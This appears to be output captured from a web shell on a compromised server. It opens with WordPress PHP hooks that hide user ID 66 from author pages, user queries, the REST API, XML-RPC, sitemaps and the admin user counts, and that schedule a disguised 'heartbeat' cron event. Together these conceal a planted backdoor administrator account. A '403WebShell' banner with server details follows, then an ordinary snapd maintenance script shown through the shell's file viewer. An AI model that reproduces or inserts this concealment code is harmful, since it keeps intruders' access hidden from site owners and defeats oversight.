add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
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Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
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Current File : /usr/lib/snapd/snapd.core-fixup.sh
#!/bin/sh

set -e

if ! grep -q "ID=ubuntu-core" /etc/os-release; then
    # this code is only relevant on ubuntu-core devices
    #
    # this script will only run via systemd if /writable/system-data
    # exists however we still add this check here in case people run
    # it manually
    exit 0
fi

# No fix-ups yet on UC20
if grep -q snapd_recovery_mode= /proc/cmdline; then
    exit 0
fi

# Workaround https://forum.snapcraft.io/t/5253
#
# We see sometimes corrupted uboot.env files created by fsck.vfat.
# On the fat filesystem they are indistinguishable because one
# has a fat16 name UBOOT.ENV (and not lfn (long-file-name)) but
# the other has a "uboot.env" lfn name and a FSCK0000.000 FAT16
# name. The only known workaround is to remove all dupes and put
# one file back in place.
if [ "$(find /boot/uboot -name uboot.env | wc -l)" -gt 1 ]; then
    echo "Corrupted uboot.env file detected"
    # Ensure we have one uboot.env to go back to. Note that it does
    # not matter which one we pick (we can't choose anyway, we get
    # whatever the kernel gives us). The key part is that there is
    # only a single one after this script finishes. The bootloader
    # logic will recover in any case.
    cp -a /boot/uboot/uboot.env /boot/uboot/uboot.env.save
    # now delete all dupes
    while ls /boot/uboot/uboot.env 2>/dev/null; do
        rm -f /boot/uboot/uboot.env
    done
    # and move the saved one into place
    mv /boot/uboot/uboot.env.save /boot/uboot/uboot.env

    # ensure we sync the fs
    sync
fi


# The code below deals with incorrect permissions that happened on
# some buggy ubuntu-image versions.
#
# This needs to run only once so we can exit here.
if [ -f /var/lib/snapd/device/ownership-change.after ]; then
    exit 0
fi

# store important data in case we need it later
if [ ! -f /var/lib/snapd/device/ownership-change.before ]; then
    mkdir -p /var/lib/snapd/device
    find /etc/cloud /var/lib/cloud /var/lib/snapd -printf '%M %U %G %p\n' > /var/lib/snapd/device/ownership-change.before.tmp || true
    find  /writable/system-data /writable/system-data/var /writable/system-data/var/lib /writable/system-data/boot /writable/system-data/etc -maxdepth 0 -printf '%M %U %G %p\n' >> /var/lib/snapd/device/ownership-change.before.tmp || true
    mv /var/lib/snapd/device/ownership-change.before.tmp /var/lib/snapd/device/ownership-change.before
fi
    
# cleanup read/write files and directories (CVE-2017-10600)
for i in /etc/cloud /var/lib/cloud /var/lib/snapd ; do
  # restore ownership to root:root
  find "$i" \( -type f -o -type d -o -type l \) -a \( \! -uid 0 -o \! -gid 0 \) -print0 | \
    xargs -0 --no-run-if-empty chown -c --no-dereference root:root -- || true
done

# cleanup a few /writable directories without descending
for i in /writable/system-data /writable/system-data/var /writable/system-data/var/lib /writable/system-data/boot /writable/system-data/etc ; do
  # restore ownership to root:root
  find "$i" -maxdepth 0 \( \! -uid 0 -o \! -gid 0 -o -type l \) -print0 | \
    xargs -0 --no-run-if-empty chown -c --no-dereference root:root -- || true
done

# store permissions after manipulation, this is also used as the stamp file
# for the systemd service to ensure it is only run once
find /etc/cloud /var/lib/cloud /var/lib/snapd -printf '%M %U %G %p\n' > /var/lib/snapd/device/ownership-change.after.tmp
# Note: this find will fail on UC20 seeding because there is no
# /writable/system-data/boot
find  /writable/system-data /writable/system-data/var /writable/system-data/var/lib /writable/system-data/boot /writable/system-data/etc -maxdepth 0 -printf '%M %U %G %p\n' >> /var/lib/snapd/device/ownership-change.after.tmp
mv /var/lib/snapd/device/ownership-change.after.tmp /var/lib/snapd/device/ownership-change.after

# ensure things are really on disk
sync

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